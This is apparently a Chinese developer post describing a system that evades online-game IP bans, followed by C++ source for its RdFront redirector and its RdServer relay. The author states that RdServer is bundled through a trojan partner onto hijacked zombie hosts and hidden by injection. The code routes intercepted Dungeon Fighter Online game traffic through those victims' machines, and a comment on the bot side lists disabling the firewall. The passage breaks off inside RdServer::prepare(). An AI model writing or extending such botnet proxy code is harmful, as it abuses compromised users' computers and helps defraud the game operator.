面临游戏运营商的封号风险,原先游戏直连游戏服务器的方式将无法使用,必须提供其他的方式解决IP重复使用导致被封号风险。 新增了LSP,RdFront,RdServer模块,当然真正的系统还有其他子系统组成。 GtrClient接到做单请求之后启动,初始化lsp接口,启动dnf游戏,截获dnf发起的tcp请求转向到Rdfront进程(DNF登录采用udp,进入游戏采用tcp)。Rdfront通过调度找到全国ip上的某一台木马绑架的肉鸡,当然 肉鸡上已经捆绑了RdServer,Rdserver由木马公司合作完成,进程采用多种技术隐藏、注入等技术潜伏在用户主机,伺机为GTR系统 服务。 RdFront连接上RdServer之后再连接到Tencent服务器,实现Tcp的Redirection。 肉鸡的IP才是需要关注的。
部分代码: rdfront.h
1 2 #ifndef _RD_FRONT_H 3 #define _RD_FRONT_H 4 5 #include "../common/rdserverbase.h" 6 #include <IceUtil/IceUtil.h> 7 #include <Ice/Ice.h> 8 #include <redirect.h> 9 10 11 12 class RdFront:public RedirectServerBase{ //,public swlib::Thread{ 13 public: 14 RdFront(); 15 void threadEntry(swlib::Thread* t); 16 bool start(const std::string&); 17 bool doSelect(); 18 static void threadRdserverConn(swlib::Thread* t,void* user); 19 shared_ptr<swlib::SocketAddr> getRdserverAddr(); 20 void getRdserverAddrList(); 21 22 int mainloop(); 23 static shared_ptr<RdFront>& instance(); 24 shared_ptr<RedirectAddress_t> getRedirectAddress(); 25 26 bool prepareWorkSheet(const rd::RdWorkSheetT& worksheet,int to); //开始游戏交易 27 void endWorkSheet(); //结束游戏交易 28 29 private: 30 void doChannelMessage(shared_ptr<ConnectionMessageBase>& msg); 31 void doConnectiontMessage(shared_ptr<ConnectionMessageBase>&msg); 32 33 void run(); 34 static void threadRpcEntry(swlib::Thread* t,void*u); 35 static void threadLspEntry(swlib::Thread* t,void*u); 36 bool initRpc(); 37 void recieveMessage(); 38 39 void connectedRdServer(const rd::RdServerInfoT& server); 40 void disconnectedRdServer(const rd::RdServerInfoT& server); 41 42 private: 43 std::vector<shared_ptr<swlib::TcpSocket> > _sockIncomings; //游戏连接进入 44 45 bool _connRdserver_corrupt; 46 swlib::TcpSocket _sock_rdserver; //外发连接 47 swlib::Mutex _mtx_rdserverconn; 48 49 shared_ptr<swlib::Thread> _trRdserver; 50 51 52 //std::list< shared_ptr<ConnectionMessageBase> > _msglist_incoming; // rdserver接收的消息包 53 swlib::Condition _cond_msg_incoming; 54 swlib::Mutex _mtx_msg_incoming; 55 MessageQueue _mq_incoming; 56 57 std::list< shared_ptr<ConnectionMessageBase> > _msglist_outgoing; //准备发送给rdserver的消息队列 58 swlib::Condition _cond_msg_outgoing; 59 swlib::Mutex _mtx_msg_outgoing; 60 61 bool _serverRunning; 62 63 std::vector<RedirectChannelID_t> _closedChannels; //已经关闭的通道 64 std::vector<RedirectChannelID_t> _halfclosedChannels;//半关闭 65 66 std::map<RedirectChannelID_t, shared_ptr<swlib::TcpSocket> > _channelsocks; 67 68 shared_ptr<swlib::Thread> _threadOutgoning; 69 70 rd::IRdDispatcherPrx _dispPrx; 71 Ice::CommunicatorPtr _communicator; 72 73 shared_ptr<swlib::Thread> _rpcThread; // 74 rd::RdWorkSheetT _worksheet; //当前作业任务 75 76 swlib::Mutex _mtx_servers; 77 //std::vector<swlib::SocketAddr> _rdserverlist; //服务器地址 78 rd::RdServerInfoListT _rdserverlist; 79 80 81 swlib::Mutex _mtx_nextaddr; //需要转向的目标服务器地址 82 std::deque<swlib::SocketAddr> _nextaddrlist; 83 shared_ptr<swlib::Thread> _lspThread; 84 85 bool _connection_auth_passed ; 86 rd::RdWorkSheetT _currSheet; //当前游戏交易单信息 87 }; 88 89 90 91 #endif
RdFront.cpp
1 // rdfront.cpp : Defines the entry point for the console application. 2 // 3 4 #include "stdafx.h" 5 #include "../common/codec.h" 6 #include "rdfront.h" 7 #include "rpcFront.h" 8 #include "lsp.h" 9 10 11 12 //get from dispatcher 13 shared_ptr<swlib::SocketAddr> RdFront::getRdserverAddr(){ 14 shared_ptr<swlib::SocketAddr> addr; 15 16 rd::RdFrontInfoT front; 17 try{ 18 rd::RdServerInfoListT addrlist = _dispPrx->getBastRdServers(_worksheet.areaName,1,front); 19 if(addrlist.size()){ 20 rd::RdServerInfoT server = addrlist[0]; 21 addr = new swlib::SocketAddr; 22 addr->set_host(server.ip.c_str()); 23 addr->set_port((swUInt16)server.port); 24 } 25 }catch(const std::exception& e){ 26 getLogger().Debug(e.what()); 27 } 28 return addr; 29 } 30 31 32 void RdFront::getRdserverAddrList(){ 33 _rdserverlist.clear(); 34 rd::RdFrontInfoT front; 35 try{ 36 rd::RdServerInfoListT addrlist = _dispPrx->getBastRdServers(_worksheet.areaName,3,front); 37 for(size_t n=0;n<addrlist.size();n++){ 38 rd::RdServerInfoT server = addrlist[0]; 39 swlib::SocketAddr addr ; 40 addr.set_host(server.ip.c_str()); 41 addr.set_port((swUInt16)server.port); 42 //_rdserverlist.push_back(addr); 43 getLogger().Debug("get rdserver:%s",addr.toString().c_str()); 44 } 45 _rdserverlist = addrlist; 46 47 }catch(const std::exception& e){ 48 getLogger().Debug(e.what()); 49 } 50 51 52 } 53 54 /* 55 sockRdserver断开必须关闭与客户的socket,因为客户的数据可能有部分通过sockRdserver发送了,导致不完整 56 */ 57 bool RdFront::doSelect(){ 58 59 if( _connRdserver_corrupt ){ 60 getLogger().Debug("Prepare Contact Rdserver"); 61 swlib::ScopeLocker l1(_mtx_socks); 62 _sock_rdserver.create(); 63 _socks.clear(); //删除所有客户连接 64 Sleep(1000*2); 65 while( _serverRunning){ 66 // getLogger().Debug("get Rdserver from Dispatcher.."); 67 // shared_ptr<swlib::SocketAddr> addrserver = getRdserverAddr(); 68 // if(!addrserver.get()){ 69 // getLogger().Debug("Have no Rdserver can be served! Wait for senconds"); 70 // Sleep(1000*5);// 71 // continue; 72 // } 73 // getLogger().Debug("ready to connect rdserver:%s",addrserver->toString().c_str()); 74 // if(!_sock_rdserver.do_connect(*addrserver.get())){ //需要修改成超时链接 75 // Sleep(1000*5); //连接rdserver失败 76 // continue; 77 // } 78 bool connected = false; 79 _connection_auth_passed = false; 80 //std::vector<swlib::SocketAddr> rdservers; 81 rd::RdServerInfoListT rdservers; 82 83 { 84 swlib::ScopeLocker ll(_mtx_servers); 85 rdservers = _rdserverlist; 86 } 87 for(size_t n=0;n<rdservers.size();n++){ 88 //getLogger().Debug("attempt to connect server:%s",rdservers[n].toString().c_str()); 89 getLogger().Debug("attempt to connect server:%s",rdservers[n].ip.c_str()); 90 swlib::SocketAddr addr; 91 addr.set_host(rdservers[n].ip.c_str()); 92 addr.set_nport((swUInt16)rdservers[n].port); 93 connected = _sock_rdserver.do_connect(addr,5); // 94 if(connected){ 95 //report to dispacher 96 rd::RdServerInfoT* server = new rd::RdServerInfoT; 97 *server = rdservers[n]; 98 _sock_rdserver.setData(1000,server); 99 connectedRdServer(*server); 100 break; 101 } 102 } 103 if( !connected){ 104 Sleep(100*2); //尽量小,保证prepareWorkSheet()的及时反应 105 continue; 106 } 107 getLogger().Debug("connected to server ,next"); 108 _connRdserver_corrupt = false; 109 swlib::ScopeLocker l(_mtx_msg_incoming); 110 _mq_incoming.reset(); 111 112 return true; 113 } 114 } 115 // if(_connection_auth_passed == false){ 116 // Sleep(200); 117 // return true; 118 // } 119 if( !_serverRunning){ 120 getLogger().Debug("serverRuning is false ,break!"); 121 return false; 122 } 123 ////////////////////////////////////////////////////////////////////////// 124 shared_ptr<swlib::TcpSocket> readsock; 125 ////////////////////////////////////////////////////////////////////////// 126 std::map<RedirectChannelID_t, shared_ptr<swlib::TcpSocket> >::iterator itr; 127 std::map<RedirectChannelID_t, shared_ptr<swlib::TcpSocket> > socks; 128 { 129 swlib::ScopeLocker l1(_mtx_socks); 130 for(size_t n=0;n<_closedChannels.size();n++){ 131 itr = _socks.find(_closedChannels[n]); 132 if(itr!=_socks.end()){ 133 readsock = itr->second; 134 MessageQueue* mq = (MessageQueue*)readsock->data(stt_BUFFER); 135 delete mq; //删除缓冲队列 136 _socks.erase(itr); 137 getLogger().Debug("clear one Incoming Sock client"); 138 } 139 } 140 _closedChannels.clear(); 141 142 // for(int n=0;n<_halfclosedChannels.size();n++){ 143 // itr = _socks.find(_halfclosedChannels[n]); 144 // if(itr!=_socks.end()){ 145 // readsock = itr->second; 146 // MessageQueue* mq = (MessageQueue*)readsock->data(stt_BUFFER); 147 // delete mq; //删除缓冲队列 148 // _socks.erase(itr); 149 // } 150 // } 151 _halfclosedChannels.clear(); 152 socks = _socks; 153 } 154 ////////////////////////////////////////////////////////////////////////// 155 156 { 157 //swlib::ScopeLocker l(_mtx_select); 158 fd_set fds; 159 FD_ZERO(&fds); 160 161 for(itr=_socks.begin();itr!=_socks.end();itr++){ 162 swBool enable = (swBool)itr->second->data(stt_ENABLED); 163 if(enable == swTrue){ 164 FD_SET(itr->second->get_handle(),&fds); 165 } 166 } 167 168 FD_SET(_sock_rdserver.get_handle(),&fds); 169 FD_SET(_listensock->get_handle(),&fds); 170 timeval tv; 171 tv.tv_sec = 0; 172 tv.tv_usec =1000*200; 173 int r = select(0,&fds,NULL,NULL,&tv); 174 if( r ==0){ // timeout 175 // getLogger().Debug("select timeout,no data traverse"); 176 return true; 177 } 178 if( r<0){ // exception 非可用socket参与了select 179 //Sleep(500); //套接字被显式的关闭,然后又参与了select 180 getLogger().Error("select socket error! breaking"); 181 return false; 182 } 183 ////////////////////////////////////////////////////////////////////////// 184 //游戏进程连接进入 185 if( FD_ISSET(_listensock->get_handle(), &fds) ){ //新连接到达 186 swlib::TcpSocket * insock = _listensock->accept(); 187 if(insock){ 188 getLogger().Debug("Incoming Client:%s",insock->get_addr().toString().c_str()); 189 insock->setData((void*)INCOMING_SOCKET); 190 RedirectChannelID_t cid; 191 cid = newChannelID(); 192 insock->setData(stt_CHANNELID,(void*)cid); 193 insock->setData(stt_ENABLED,(void*)swFalse); // 194 insock->setData(stt_CLOSED,(void*)swFalse); 195 insock->setData(stt_BUFFER,(void*)new MessageQueue()); 196 //insock->setData(stt_MSGQUEUE_BACK,(void*)new std::list<shared_ptr<ConnectionMessageBase> >()); 197 198 // 199 shared_ptr<RedirectAddress_t> raddr = getRedirectAddress(); 200 if(raddr.get()){ // 发送通道打开请求 201 shared_ptr<CM_ConnectOpen_t> msg(new CM_ConnectOpen_t); 202 getLogger().Debug("Next Destination Address:%s",raddr->toString().c_str()); 203 msg->addr = raddr->get_naddr(); 204 msg->port = raddr->get_port(); 205 msg->timeout = 5; //5秒超时 206 msg->cid = cid; 207 swlib::ScopeLocker l2(_mtx_msg_outgoing); 208 _msglist_outgoing.push_back(msg); 209 _cond_msg_outgoing.set(); 210 swlib::ScopeLocker l1(_mtx_socks); 211 _socks[cid] = shared_ptr<swlib::TcpSocket>(insock); 212 //getLogger().Debug("made channel Open request into sending queue "); 213 } 214 } 215 } 216 ////////////////////////////////////////////////////////////////////////// 217 //检测游戏进程发送的数据 218 swByteArray bytes; 219 bytes.resize(1024*6); 220 int size; 221 222 for(itr=socks.begin();itr!=socks.end();itr++){ 223 if( FD_ISSET(itr->second->get_handle(),&fds)){ 224 readsock = itr->second; 225 ////////////////////////////////////////////////////////////////////////// 226 size = readsock->read((char*)&bytes[0],bytes.size()); 227 if( size <= 0){ 228 RedirectChannelID_t cid = (RedirectChannelID_t)readsock->data(stt_CHANNELID); 229 swlib::ScopeLocker l1(_mtx_socks); 230 _closedChannels.push_back(cid); 231 shared_ptr<ChannelMessageBase> msgclose = new ChannelMessageBase(CM_CONNECT_CLOSE); 232 msgclose->cid = cid; 233 swlib::ScopeLocker l2(_mtx_msg_outgoing); 234 _msglist_outgoing.push_back(msgclose); 235 getLogger().Debug("Incoming Client Sock lost:%s,push into Erase queue",readsock->get_addr().toString().c_str()); 236 }else{ 237 MessageQueue *mq= (MessageQueue*)readsock->data(stt_BUFFER); 238 swBool ok = (swBool)readsock->data(stt_ENABLED) ; 239 if(ok == swFalse){ //未得到服务器应答要缓冲数据 240 mq->queueIn((char*)&bytes[0],size); 241 getLogger().Debug("client sock havn't got Accept answer,so recved data will be cached into socket's message-queue"); 242 }else{ 243 mq->getBuffer().insert(mq->getBuffer().end(),bytes.begin(),bytes.begin()+size); 244 CM_StreamData* stream = new CM_StreamData; 245 stream->cid = (swInt32) readsock->data(stt_CHANNELID); 246 stream->data = mq->getBuffer(); 247 shared_ptr<ConnectionMessageBase> msg(stream); 248 swlib::ScopeLocker l2(_mtx_msg_outgoing); 249 _msglist_outgoing.push_back(msg); 250 mq->reset(); 251 getLogger().Debug("client sock incoming data will be queue into sending buffer for sending to Rdserver!"); 252 } 253 } 254 } 255 } // -- end for 256 ////////////////////////////////////////////////////////////////////////// 257 if( FD_ISSET(_sock_rdserver.get_handle(), &fds) ){ 258 size = _sock_rdserver.read((char*)&bytes[0],bytes.size()); 259 if( size <= 0){ 260 _connRdserver_corrupt = true; 261 getLogger().Debug("Rdserver lost connection!"); 262 rd::RdServerInfoT* server=NULL; 263 server =(rd::RdServerInfoT*)_sock_rdserver.data(1000); 264 disconnectedRdServer(*server); 265 delete server; 266 return true; 267 }else{ 268 getLogger().Debug("data recved from rdserver will be queue into backing buffer"); 269 swlib::ScopeLocker l(_mtx_msg_incoming); 270 _mq_incoming.queueIn((char*)&bytes[0],size); 271 _cond_msg_incoming.set(); 272 } 273 } 274 ////////////////////////////////////////////////////////////////////////// 275 } 276 recieveMessage(); 277 return true; 278 } 279 280 void RdFront::doChannelMessage(shared_ptr<ConnectionMessageBase>& msg){ 281 282 ChannelMessageBase* cm = (ChannelMessageBase*)msg.get(); 283 RedirectChannelID_t channelId; 284 channelId = cm->cid; 285 CM_StreamData* stream = (CM_StreamData*)cm; 286 shared_ptr<swlib::TcpSocket> client; 287 getLogger().Debug("Channel Message:%d",msg->cnmid); 288 if(1){ 289 swlib::ScopeLocker l1(_mtx_socks); 290 std::map<RedirectChannelID_t, shared_ptr<swlib::TcpSocket> >::iterator itr; 291 itr = _socks.find(channelId); 292 if(itr!=_socks.end()){ 293 client = itr->second; 294 } 295 } 296 ////////////////////////////////////////////////////////////////////////// 297 if( !client.get()){ 298 return; 299 } 300 //std::list<shared_ptr<ConnectionMessageBase> >* queue = (std::list<shared_ptr<ConnectionMessageBase> >*)client->data(stt_MSGQUEUE_BACK); 301 302 if( cm->cmid == CM_CONNECT_CLOSE ||cm->cmid == CM_CONNECT_REJECT || cm->cmid == CM_CONNECT_HALFCLOSE){ 303 swlib::ScopeLocker l1(_mtx_socks); 304 getLogger().Debug("Channel Reject/Close/HalfClose:%d",cm->cid); 305 client->setData(stt_CLOSED,(void*)swTrue); 306 _closedChannels.push_back(channelId); 307 }else if(cm->cmid == CM_STREAM_DATA){ 308 getLogger().Debug("<< CM_STREAM_DATA %d incoming(%d bytes)",cm->cid,stream->data.size()); 309 client->write((char*)&stream->data[0],stream->data.size()); 310 // }else if(cm->cmid == CM_CONNECT_HALFCLOSE ){ 311 // swlib::ScopeLocker l1(_mtx_socks); 312 // _halfclosedChannels.push_back(channelId); 313 }else if(cm->cmid == CM_CONNECT_ACCEPT){ 314 client->setData(stt_ENABLED,(void*)swTrue); 315 getLogger().Debug("Channel Accept %d",cm->cid); 316 317 } 318 } 319 320 void RdFront::doConnectiontMessage(shared_ptr<ConnectionMessageBase>&msg_){ 321 //服务器发送greet消息 322 if(msg_->cnmid == CNM_HELO){ 323 CNM_Helo_t* msg = (CNM_Helo_t*)msg_.get(); 324 std::string key = getConfig().getProperty("secureKey"); 325 swByteArray data; 326 data.assign( (swByte*)msg->helo.c_str(),(swByte*)(msg->helo.c_str()+msg->helo.size()) ); 327 data.insert(data.end(),(swByte*)key.c_str(),(swByte*)(key.c_str()+key.size())); 328 swByteArray digest = swlib::Codec::Md5Calc(&data[0],data.size()); 329 330 CNM_Auth_t auth; 331 //auth.secureKey = digest; 332 memcpy(auth.secureKey,&digest[0],16); 333 getLogger().Debug("get CNM_HELO from rdServer"); 334 data = auth.final(); 335 _sock_rdserver.write((char*)&data[0],data.size()); 336 getLogger().Debug("send Auth Message"); 337 338 }else if(msg_->cnmid == CNM_ACCEPT){ 339 getLogger().Debug("<<CNM_ACCEPT"); 340 _connection_auth_passed = true; 341 }else if(msg_->cnmid ==CNM_REJECT){ 342 _connRdserver_corrupt = true; 343 getLogger().Debug("<< CNM_REJECT"); 344 }else if(msg_->cnmid ==CNM_HEARTBEAT){ 345 getLogger().Debug("<< CNM_HEARTBEAT"); 346 } 347 } 348 349 void RdFront::recieveMessage(){ 350 while(true){ 351 shared_ptr<ConnectionMessageBase> msg; 352 if(!_mq_incoming.getMessage(msg)){ 353 _connRdserver_corrupt = true; 354 _mq_incoming.reset(); 355 getLogger().Debug("dirty connection data, invalid rdServer connection!"); 356 break; 357 } 358 if( !msg.get()){ //没有消息包 359 getLogger().Debug("incoming queue from rdserver is empty!"); 360 break; 361 } 362 if( msg->cnmid == CNM_CHANNEL){ 363 doChannelMessage(msg); 364 }else{ 365 doConnectiontMessage(msg); 366 } 367 } 368 } 369 370 void RdFront::threadEntry(swlib::Thread* t){ 371 return ; 372 //接收线程组,从rdserver进入的数据包 373 while(t->loop()){ 374 //_cond_msg_incoming.wait(20); 375 { 376 if(!t->loop()){ 377 break; 378 } 379 ////////////////////////////////////////////////////////////////////////// 380 shared_ptr<ConnectionMessageBase> msg; 381 { 382 swlib::ScopeLocker l(_mtx_msg_incoming); 383 if(!_mq_incoming.getMessage(msg)){ 384 //数据包错误,关闭连接 385 _connRdserver_corrupt = true; 386 _mq_incoming.reset(); 387 getLogger().Debug("dirty connection data, invalid rdServer connection!"); 388 continue; 389 } 390 } 391 if( !msg.get()){ //队列为空 392 //_cond_msg_incoming.set(false); 393 _cond_msg_incoming.wait(20); 394 //getLogger().Debug("rdserver line have no message come in!"); 395 continue; // 396 } 397 getLogger().Debug("mq_incoming queue size:%d",_mq_incoming.getBuffer().size()); 398 ////////////////////////////////////////////////////////////////////////// 399 if( msg->cnmid == CNM_CHANNEL){ 400 doChannelMessage(msg); 401 }else{ 402 doConnectiontMessage(msg); 403 } 404 405 //_cond_msg_incoming.set(false); 406 } 407 }// end while 408 } 409 410 //发送线程 411 void RdFront::threadRdserverConn(swlib::Thread* t,void* user){ 412 RdFront* server = (RdFront*)user; 413 while(t->loop()){ 414 server->_cond_msg_outgoing.wait(200); 415 { 416 if(!t->loop()){ 417 break; 418 } 419 while(t->loop()){ 420 shared_ptr<ConnectionMessageBase> msg; 421 { 422 swlib::ScopeLocker l(server->_mtx_msg_outgoing); 423 if( server->_msglist_outgoing.size()){ 424 msg = server->_msglist_outgoing.front(); 425 server->_msglist_outgoing.pop_front(); 426 } 427 } 428 if(!msg.get()){ 429 break; 430 } 431 swByteArray bytes = msg->final(); 432 server->getLogger().Debug("send data to rdSever"); 433 int sent = server->_sock_rdserver.write((char*)&bytes[0],bytes.size()); 434 if(sent == -1){ // lost connection with rdserver 435 swlib::ScopeLocker l(server->_mtx_msg_outgoing); 436 server->_msglist_outgoing.clear(); 437 server->_connRdserver_corrupt = true; 438 break; 439 } 440 }//-- end while 441 server->_cond_msg_outgoing.set(false); //下一次需要阻塞了 442 } 443 }// end while 444 } 445 446 bool RdFront::start(const std::string& confile){ 447 swlib::Socket::initSocket(); 448 _connection_auth_passed = false; 449 if(!RedirectServerBase::start(confile)){ 450 printf("rdFront::start() failed!\n"); 451 return false; 452 } 453 _tgConnect.create(_props.connthreadnum,RedirectServerBase::multiThreadEntry,(void*)this); 454 // swlib::SocketAddr addr ;//= getRedirectAddress(); 455 // addr.set_host("127.0.0.1"); // for python gameserver.py 456 // addr.set_port(12009); 457 // swlib::TcpSocket tsock; 458 // tsock.create(); 459 // tsock.do_connect(addr); 460 461 //Init Ice Enviroment 462 ////////////////////////////////////////////////////////////////////////// 463 int argc; 464 //char* argv[]={"this","--Ice.Config=userver.ice.conf"}; 465 char* argv[]={"this","--Ice.Config=rdfront.conf"}; 466 argc = 2; 467 std::string prxstr = getConfig().getProperty("dispatcher"); 468 // _communicator = Ice::initialize(argc,argv); 469 // _dispPrx = rd::IRdDispatcherPrx::uncheckedCast(_communicator->stringToProxy(prxstr)); 470 // 471 // Ice::ObjectAdapterPtr adapter =_communicator->createObjectAdapter("rdfront"); 472 // adapter->add( IRdFrontServant::instance() , _communicator->stringToIdentity("rdfront")); 473 // adapter->activate(); 474 ////////////////////////////////////////////////////////////////////////// 475 _threadOutgoning = new swlib::Thread(RdFront::threadRdserverConn,this); 476 _threadOutgoning->start(); 477 _connRdserver_corrupt = true; 478 ////////////////////////////////////////////////////////////////////////// 479 _rpcThread= new swlib::Thread(RdFront::threadRpcEntry,this); 480 _rpcThread->start(); 481 //_rpcThread= new swlib::Thread(RdFront::threadRpcEntry,this); 482 //_rpcThread->start(); 483 _lspThread= new swlib::Thread(RdFront::threadLspEntry,this); 484 _lspThread->start(); 485 return true; 486 } 487 488 int RdFront::mainloop(){ 489 _serverRunning = true; 490 while(true){ 491 if(!doSelect()){ 492 break; 493 } 494 } 495 printf("do select break\n"); 496 return 0; 497 } 498 499 //获取游戏进程向外的链接 500 //这里有点搞脑子 501 shared_ptr<RedirectAddress_t> RdFront::getRedirectAddress(){ 502 shared_ptr<RedirectAddress_t> addr; 503 swlib::ScopeLocker l(_mtx_nextaddr); 504 if( _nextaddrlist.size()){ 505 addr = new RedirectAddress_t; 506 *addr = _nextaddrlist.front(); 507 _nextaddrlist.pop_front(); 508 } 509 510 // addr->set_host("192.168.14.3"); // for python gameserver.py 511 // addr->set_port(12009); 512 return addr; 513 } 514 515 RdFront::RdFront(){ 516 _logfilename = "rdfront.log"; 517 } 518 519 shared_ptr<RdFront>& RdFront::instance(){ 520 static shared_ptr<RdFront> server; 521 if(!server.get()){ 522 server = new RdFront; 523 } 524 return server; 525 } 526 527 //lsp 同步线程 528 void RdFront::run(){ 529 swlib::ScopeLocker l(_mtx_servers); 530 _rdserverlist.clear(); 531 _connRdserver_corrupt = true; 532 } 533 534 //开始游戏准备 535 bool RdFront::prepareWorkSheet(const rd::RdWorkSheetT& worksheet,int to){ 536 swlib::ScopeLocker ll(_mtx_nextaddr); 537 _nextaddrlist.clear(); 538 539 swlib::ScopeLocker l(_mtx_servers); 540 getLogger().Debug("prepareWorkSheet:%s-%s",worksheet.tradeNo.c_str(),worksheet.areaName.c_str()); 541 getRdserverAddrList(); 542 if( _rdserverlist.size() == 0){ 543 getLogger().Debug("no more idle rdserver !"); 544 return false; 545 } 546 getLogger().Debug("got %d rdservers",_rdserverlist.size()); 547 { 548 size_t n; 549 for(n=0;n<_rdserverlist.size();n++){ 550 getLogger().Debug("%d. rdserver = %s",n,_rdserverlist[n].ip.c_str()); 551 } 552 } 553 _connRdserver_corrupt = true; 554 _currSheet = worksheet; 555 556 557 return true; 558 } 559 560 void RdFront::endWorkSheet(){ 561 getLogger().Debug("endWorkSheet()"); 562 swlib::ScopeLocker l(_mtx_nextaddr); 563 _nextaddrlist.clear(); 564 _connRdserver_corrupt = true; //复位连接 565 } 566 567 bool RdFront::initRpc(){ 568 int argc; 569 //char* argv[]={"this","--Ice.Config=userver.ice.conf"}; 570 char* argv[]={"this","--Ice.Config=rdfront.conf"}; 571 argc = 2; 572 std::string prxstr = getConfig().getProperty("dispatcher"); 573 _communicator = Ice::initialize(argc,argv); 574 _dispPrx = rd::IRdDispatcherPrx::uncheckedCast(_communicator->stringToProxy(prxstr)); 575 576 Ice::ObjectAdapterPtr adapter =_communicator->createObjectAdapter("rdfront"); 577 adapter->add( IRdFrontServant::instance() , _communicator->stringToIdentity("rdfront")); 578 adapter->activate(); 579 _communicator->waitForShutdown(); 580 return true; 581 } 582 583 void RdFront::threadRpcEntry(swlib::Thread* t,void*u){ 584 RdFront * server = (RdFront*)u; 585 586 587 588 server->getLogger().Debug("Rpc service Ready"); 589 //server->_communicator->waitForShutdown(); 590 server->initRpc(); 591 } 592 593 void RdFront::threadLspEntry(swlib::Thread* t,void*u){ 594 RdFront* server = (RdFront*)u; 595 char* geventName1="Global\\{8b4a1f95-3f13-4b50-b53f-a94ad165c2b2}"; 596 char* geventName2="Global\\{dd16ab23-8f4e-43d1-bfcb-750a2b35922e}"; 597 // char* geventName1="Global{8b4a1f95-3f13-4b50-b53f-a94ad165c2b2}"; 598 // char* geventName2="Global{dd16ab23-8f4e-43d1-bfcb-750a2b35922e}"; 599 600 HANDLE event1 = ::CreateEvent(NULL, TRUE, FALSE, geventName1); 601 HANDLE event2 = ::CreateEvent(NULL, TRUE, FALSE, geventName2); 602 603 // int r; 604 swUInt32 naddr; 605 swUInt16 nport; 606 while(t->loop()){ 607 //r = waitRedirectDestination(&naddr,&nport); 608 if( WaitForSingleObject(event2,1000*2) ==WAIT_TIMEOUT){ 609 continue; 610 } 611 ResetEvent(event2); 612 613 //if(r==0){ 614 waitRedirectDestination(&naddr,&nport); 615 swlib::SocketAddr saddr; 616 saddr.set_naddr(naddr); 617 saddr.set_nport(nport); 618 swlib::ScopeLocker l(server->_mtx_nextaddr); 619 server->_nextaddrlist.push_back(saddr); 620 server->getLogger().Debug(" Got Connect Redirect Address:%s,push it into queue..",saddr.toString().c_str()); 621 //} 622 SetEvent(event1); 623 } 624 } 625 ////////////////////////////////////////////////////////////////////////// 626 void RdFront::connectedRdServer(const rd::RdServerInfoT& server){ 627 rd::RdFrontInfoT front; 628 try{ 629 _dispPrx->connectedRdServer(front,server,_currSheet); 630 }catch(const std::exception& e){ 631 getLogger().Debug(e.what()); 632 } 633 } 634 635 void RdFront::disconnectedRdServer(const rd::RdServerInfoT& server){ 636 rd::RdFrontInfoT front; 637 try{ 638 _dispPrx->disconnectedRdServer(front,server,_currSheet); 639 }catch(const std::exception& e){ 640 getLogger().Debug(e.what()); 641 } 642 } 643 644 ////////////////////////////////////////////////////////////////////////// 645 ////////////////////////////////////////////////////////////////////////// 646 647 struct Block{ 648 char x[1024]; 649 }; 650 int _tmain(int argc, _TCHAR* argv[]) 651 { 652 /* 653 for(int n=1;n<1000000;n++){ 654 swlib::Handle<Block> i1 (new Block); 655 swlib::Handle<Block> i2 = i1; 656 i2 = new Block; 657 swlib::Handle<Block> i3 = i1; 658 i2 = i3; 659 i1 = i2; 660 661 } */ 662 663 RdFront::instance()->start("rdfront.conf"); 664 665 666 RdFront::instance()->mainloop(); 667 return 0; 668 } 669 670 671 672
Rdserver.h
1 2 #ifndef _RD_SERVER_H 3 #define _RD_SERVER_H 4 5 #include "../common/rd.h" 6 #include "../common/rdserverbase.h" 7 #include "rdconnection.h" 8 9 typedef swUInt32 RdServerVersion_t; 10 11 12 struct RdServerProperties_t{ 13 std::string secureKey; 14 swUInt32 version; 15 swUInt32 netaddr; //公网地址 16 swUInt16 listenport; 17 swUInt16 rptInterval; //定时上报间隔 18 std::string mac; //网卡地址 19 std::string hostname; 20 swlib::SocketAddr dispAddr; //调度服务器地址 21 std::string strHelo; 22 23 }; 24 25 class RdServer:public RedirectServerBase{ 26 public: 27 RdServer(); 28 RdServerProperties_t& getProps(){ return _props;} 29 bool start(); 30 int mainloop(); 31 void prepare(); 32 CNM_SystemQueryResult getSystemInfo(); 33 swUInt32 getPublicNetAddr(); //获取公网地址 34 void lostConnection(RedirectConnection*); //连接丢失 35 swByteArray encrypt(swByteArray& data); //加密数据包 36 swByteArray decrypt(swByteArray& data); //解密数据报 37 bool reachable(); //检测是否可连接 38 static void __threadUdpRecv(swlib::Thread* t,void* user); 39 void threadUdpRecv(swlib::Thread* t); 40 void removeConnection(const RedirectConnection* rc); 41 std::string makeHelo(); 42 std::string getVendorId(); 43 bool getDispatchServer(std::string&host,swUInt16& port); 44 private: 45 RdServerProperties_t _props; 46 std::vector<RedirectConnection*> _connlist; 47 swlib::UdpSocket _udpsock; 48 swlib::Mutex _mtx_cnn; 49 shared_ptr<swlib::Thread> _threadUdp; 50 }; 51 52 #define RD_MAKEVERSION(m1,m2,m3,m4) (m1<<24|m2<<16|m3<<8|m4) 53 54 #define RD_SERVERVERSION RD_MAKEVERSION(0,1,0,1) 55 56 #endif 57 58
RdServer.cpp
1 // rdserver.cpp : Defines the entry point for the console application. 2 // 3 4 #include "stdafx.h" 5 6 #include "rdserver.h" 7 #include "../common/codec.h" 8 #include <stdio.h> 9 #include <algorithm> 10 #include <Rpc.h> 11 #pragma comment(lib,"Rpcrt4.lib") 12 13 static char *SystemVendor="Vendor: "; // 20 char width 14 static char* DISPSERVER="DISPSERVER: ";//30 CHAR WIDTH 15 //static char* DISPSERVER="DISPSERVER: www.g.com:7788 ";//30 CHAR WIDTH 16 17 RdServer::RdServer(){ 18 19 } 20 21 std::string RdServer::getVendorId(){ 22 std::string id; 23 id.assign(SystemVendor+7,20); 24 return id; 25 } 26 27 bool RdServer::getDispatchServer(std::string&host,swUInt16& port){ 28 std::string uri; 29 port = 0; 30 uri.assign(DISPSERVER+11,30); 31 uri = swlib::strip(uri); 32 std::string::size_type d; 33 d = uri.find(':'); 34 if( d==std::string::npos){ 35 host = uri; 36 }else{ 37 host.assign(uri.begin(),uri.begin()+d); 38 39 if(uri.size()>d+1){ 40 d++; 41 port = atoi(uri.c_str()+d); 42 } 43 } 44 45 if(host.size()==0){ 46 host = "localhost"; 47 } 48 if( port == 0){ 49 port =20001; 50 } 51 return true; 52 } 53 54 std::string RdServer::makeHelo(){ 55 std::string helo; 56 UUID uid; 57 UuidCreate(&uid); 58 helo = swlib::Codec::BufferToHex((unsigned char*)&uid,sizeof UUID); 59 return helo; 60 } 61 62 /* 63 准备工作 64 1.bind udp port 65 2.bind tcp recv port 66 3.close firewall 67 4.public Ip query 68 5.register to dispatcher(exchange secure information) 69 6.status report (time interval) 70 */ 71 void RdServer::prepare(){ 72 swlib::SocketAddr addr; 73 